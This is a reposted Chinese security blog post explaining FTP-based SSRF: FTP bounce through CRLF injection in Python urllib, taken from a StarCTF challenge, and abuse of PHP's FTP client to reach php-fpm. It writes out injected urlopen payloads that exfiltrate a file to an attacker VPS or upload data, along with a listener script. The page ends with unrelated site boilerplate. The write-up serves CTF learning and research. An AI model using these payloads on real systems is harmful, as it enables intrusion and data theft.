针对FTP的SSRF攻击

前言

ssrf中常用的协议有httpgopher等。但http协议在ssrf中的用处也仅限于访问内网页面,在可以crlf的情况下才有可能扩大攻击范围。gopher协议比较特殊,在部分环境下支持此协议,如:curl。但还有一些环境就不支持了,如:urllib.request模块。

但最近的laravel框架的rce吸引了我的注意力。此上面提供的文章中,研究员在可使用的协议受到约束的条件下,选择使用ftp协议攻击php-fpm以达到rce。出于此,笔者决定探究ftp协议在ssrf中都有哪些应用。

ftp的两种模式

ftp协议是文件传输协议,其使用模式有两种:

  1. 主动模式

主动模式下,客户端向服务端发送连接请求命令PORT a,a,a,a,b,c,其中a是客户端ipv4的地址,bc记录了一个由客户端开放的端口(b×256)+c。随后服务端尝试连接客户端指定的地址。连接成功后,两者开始进行文件的传输。

但由于客户端由于防火墙等原因,导致服务端无法连接至客户端。为了解决这个问题,诞生了另一种模式。

  1. 被动模式

被动模式下,客户端向服务端发送连接请求命令PASV,随后服务端返回一个类似于右边字符串的响应227 Entering passive mode (a,a,a,a,b,c).,告诉客户端连接对应的地址进行文件传输。

发现了吗?在上面的命令中a, b, c如果可以受到我们控制,不就可以达到ssrf的效果了吗?

对ftp server进行ssrf

在刚刚结束的starctf中,其中一题oh-my-bet便是用到了主动模式下的ftp进行ssrf,发送二进制数据至mongoDB更改数据库中数据。

以下是原题目中使用pyftpdlib模块搭建于内网中的ftp server

# import logging
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServerauthorizer = DummyAuthorizer()authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")handler = FTPHandler
handler.permit_foreign_addresses = True #<-- 此句很重要,原因后说
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer# logging.basicConfig(level=logging.DEBUG) <-- 在测试时加入此句方便dubugserver = FTPServer(("0.0.0.0", 8877), handler)
server.serve_forever()

ftp server,还有一个存在于内网的mongoDB,用于储存flask-sessionpickle序列化数据。以及一个内网mysql用于储存用户数据。最后是向公网开放的flask web server

原题目中存在一个参数可控的urllib.request.urlopen(value),且python版本3.6,存在crlf漏洞。

题目最后要求rce。唯一有可能的突破点,是储存在mongoDB中的flask-session序列化数据。但如果使用http协议crlf传输mongoDB的数据是不行的,会被mongoDB拒绝连接。gopher协议不被urllib.request.urlopen(value)支持。所以最终着眼于ftp协议。

本文为讲解ftpssrf中的应用,简化上面环境,假设ftp-server.py所在目录有以下文件。

先在urllib中连接尝试读取文件。

urllib在成功连接控制端口后,会发送url中的用户名与密码,因此可以在密码后crlf,注入其它命令。

以下代码会发送ftp-server.py文件至自己vps的2333端口。

ur.urlopen("ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nRETR ftp-server.py\r\n@172.17.0.1:8877/ftp-server.py").read()

既然都可以上传至自己vps上的指定端口,那么就可以将其改为内网的任意ip与端口。

ip可控,接下来就是如何控制内容了。

正常情况下,单凭urlopen是无法上传文件的,但因为存在crlf漏洞,我们可以轻易上传文件。

使用以下代码,可以告诉服务器:从自己vps的2333端口获取test文件,并保存。

ur.urlopen("ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nSTOR test\r\n@172.17.0.1:8877/").read()

这里可以简单写一个socket监听。

import sockets = socket.socket()
s.bind(("0.0.0.0", 2333))
s.listen()c, a = s.accept()
print(a)
c.send(b'\x02\x03\x03')
c.close()
s.close()

成功上传。

上面是对ftp server进行ssrf,但在真实情况下就不太可能出现了。这种攻击被称为FTP bounce attack,是一种比较老旧的攻击方式,现在的ftp server都会禁止这一行为。但在此题中handler.permit_foreign_addresses = True,让这种攻击变为可能。

对ftp client进行ssrf

回到开头所说的laravel debug rce

根据原文,在模块中有以下抽象过的代码。

$data = file_get_contents($file);
file_put_contents($file, $data);

文章首先给出的方法是利用php伪协议清空log文件,然后写入phar数据,再使用phar协议达成反序列化。但还有一个方法,文章没有细说,就是使用ftp协议攻击php-fpm

那么具体思路如下:

  1. php从我们的ftp server获取payload,存入变量中。
  2. php上传文件时,将被动模式的连接地址改为php所在服务器的内网地址,上传payload攻击。

我们先看一看php的文件类函数是如何发送ftp请求的。

依然是利用上面pyftpdlib模块的脚本开启ftp服务。在命令行使用:

php -r '$data = file_get_contents(\'ftp://fan:root@127.0.0.1:8877/test\');file_put_contents(\'ftp://fan:root@127.0.0.1:8877/test\', $data);'

查看ftp服务日志。(这里仅列出关键信息)

; php获取文件
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18486-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 213 4
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- EPSV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 500 'EPSV': command not understood.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- RETR /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 150 File status okay. About to open data connection.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 226 Transfer complete.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- QUIT
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 221 Goodbye.; php上传文件
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18488-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 213 4

在这里,php先使用SIZE命令确认文件是否存在,然后使用了EPSV命令,这个命令含义是启用扩展被动模式。ftp server将指返回端口,但不返回ip。解决方法很简单,找一个不支持这个扩展的服务器就行。这里笔者是修改了pyftpdlib模块的源码,使其返回500 'EPSV': command not understood.

综合上面信息,有两个难点:

  1. php获取和上传的是同一个文件,file_put_contents会检测文件是否已经存在,如果存在则不会进行上传操作。因此需要在php获取文件后的瞬间删除该文件。
  2. 一般ftp client都使用被动模式。php获取文件时,要求被动模式返回ftp server自己的地址。但php上传文件时,返回的却是php所在服务器的内网地址。

很明显,上面的问题套用一般的轮子很难解决。因为ftp协议本身的交互没有那么复杂。所以尝试做一个fake ftp server(https://gitlab.in.starcross.cn/AFKL/laravel-debug-ftp-ssrf)。

这里尝试将一个test字符串从外网,通过phpftp client发送至php所在服务器内网的2333端口。

效果如下:

总结

ftp可以在ssrf中起到作用,其原因便是PORTPASV两个命令导致的连接跳转。把握此点,便可使ftp在漏洞利用中大放异彩!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/129970.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2020架构真题(四十六)

、以下关于操作系统微内核架构特征的说法&#xff0c;不正确的是&#xff08;&#xff09;。 微内核的系统结构清晰&#xff0c;利于协作开发微内核代码量少&#xff0c;系统具有良好的可移植性微内核有良好的的伸缩性和扩展性微内核功能代码可以互相调用&#xff0c;性能很高…

校园跑腿小程序还受欢迎不?

校园跑腿小程序是如今大学生群体中越来越受欢迎的一种服务模式。它为大学生提供了一个便捷的平台&#xff0c;使他们能够在校园内完成各类生活事务&#xff0c;如购买食品、快递取送、打印复印等。这种形式的服务在过去几年里在全球范围内迅速发展&#xff0c;并取得了巨大的成…

【K8S系列】深入解析k8s 网络插件—kube-router

序言 做一件事并不难&#xff0c;难的是在于坚持。坚持一下也不难&#xff0c;难的是坚持到底。 文章标记颜色说明&#xff1a; 黄色&#xff1a;重要标题红色&#xff1a;用来标记结论绿色&#xff1a;用来标记论点蓝色&#xff1a;用来标记论点 在现代容器化应用程序的世界中…

【WebService】C#搭建的标准WebService接口,在使ESB模版作为参数无法获取参数数据

一、问题说明 1.1 问题描述 使用C# 搭建WebService接口&#xff0c;并按照ESB平台人员的要求&#xff0c;将命名空间改为"http://esb.webservice",使用PostmanESB平台人员提供的入参示例进行测试时&#xff0c;callBussiness接口参数message始终为null。 以下是ES…

红队专题-Cobalt strike4.5二次开发

红队专题 招募六边形战士队员IDEA 自动换行原版CS反编译破解jar包反编译拔掉暗桩初始环境效果 stageless beacon http通信协议 过程分析上线&心跳get请求teamserver 处理请求 参考链接 招募六边形战士队员 一起学习 代码审计、安全开发、web攻防、逆向等。。。 私信联系 …

C++ 获取文件创建时间、修改时间、大小等属性

简介 获取文件创建时间、修改时间、大小等属性 代码 #include <iostream> #include <string.h> #include <time.h>void main() {std::string filename "E:\\LiHai123.txt";struct _stat stat_buffer;int result _stat(filename.c_str(), &s…

XLSX.utils.sheet_to_json()解析excel,给空的单元格赋值为空字符串

前言 今天用到XLSX来解析excel文件&#xff0c;调用XLSX.utils.sheet_to_json(worksheet)&#xff0c;发现如果单元格为空的话&#xff0c;解析出来的结果&#xff0c;就会缺少相应的key&#xff08;如图所示&#xff09;。但是我想要单元格为空的话&#xff0c;值就默认给空字…

skywalking功能介绍

目标 前置&#xff1a;性能监控-微服务链路追踪skywalking搭建-CSDN博客 使用skywalking进行链路监控&#xff0c;找到应用的时间消耗再哪。 服务 服务信息 请求接口后查看skywalking&#xff0c;可以看到有一个请求&#xff0c;响应时间为1852ms&#xff0c;性能指数Apdex…

一文3000字从0到1使用pytest-xdist实现分布式APP自动化测试

目录 01、分布式测试的原理 02、测试项目 03、环境准备 04、搭建步骤 05、分布式执行 06、测试报告 不知道大家有没有遇到这样一种情况&#xff0c;实际工作中&#xff0c;app自动化测试的用例可能是成百上千条的&#xff0c;如果放在一台机器上跑&#xff0c;消耗的时间…

[CISCN2019 总决赛 Day2 Web1]Easyweb 盲注 \\0绕过 文件上传文件名木马

首先开局登入 我们开始目录扫描 扫除 robots.txt 现在只有三个文件 最后发现 只有 image.php.bak存在 这里主要的地方是 \\0 因为第一个\会被转义 这里就会变为 \0 表示空白 那我们sql语句就会变为了 select * from images where id\0 但是这里我们不可以使用 \\ 因为…

模拟pdf运行js脚本触发xss攻击及防攻击

一、引入pdfbox依赖 <dependency><groupId>org.apache.pdfbox</groupId><artifactId>pdfbox</artifactId><version>3.0.0</version> </dependency> 二、生成一个带js脚本的pdf文件 //Creating PDF document object PDDocum…

[NewStarCTF 2023 公开赛道] week1 Crypto

brainfuck 题目描述&#xff1a; [>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<-]>>>>>>>.>----.<-----.>-----.>-----.<<<-.>>..…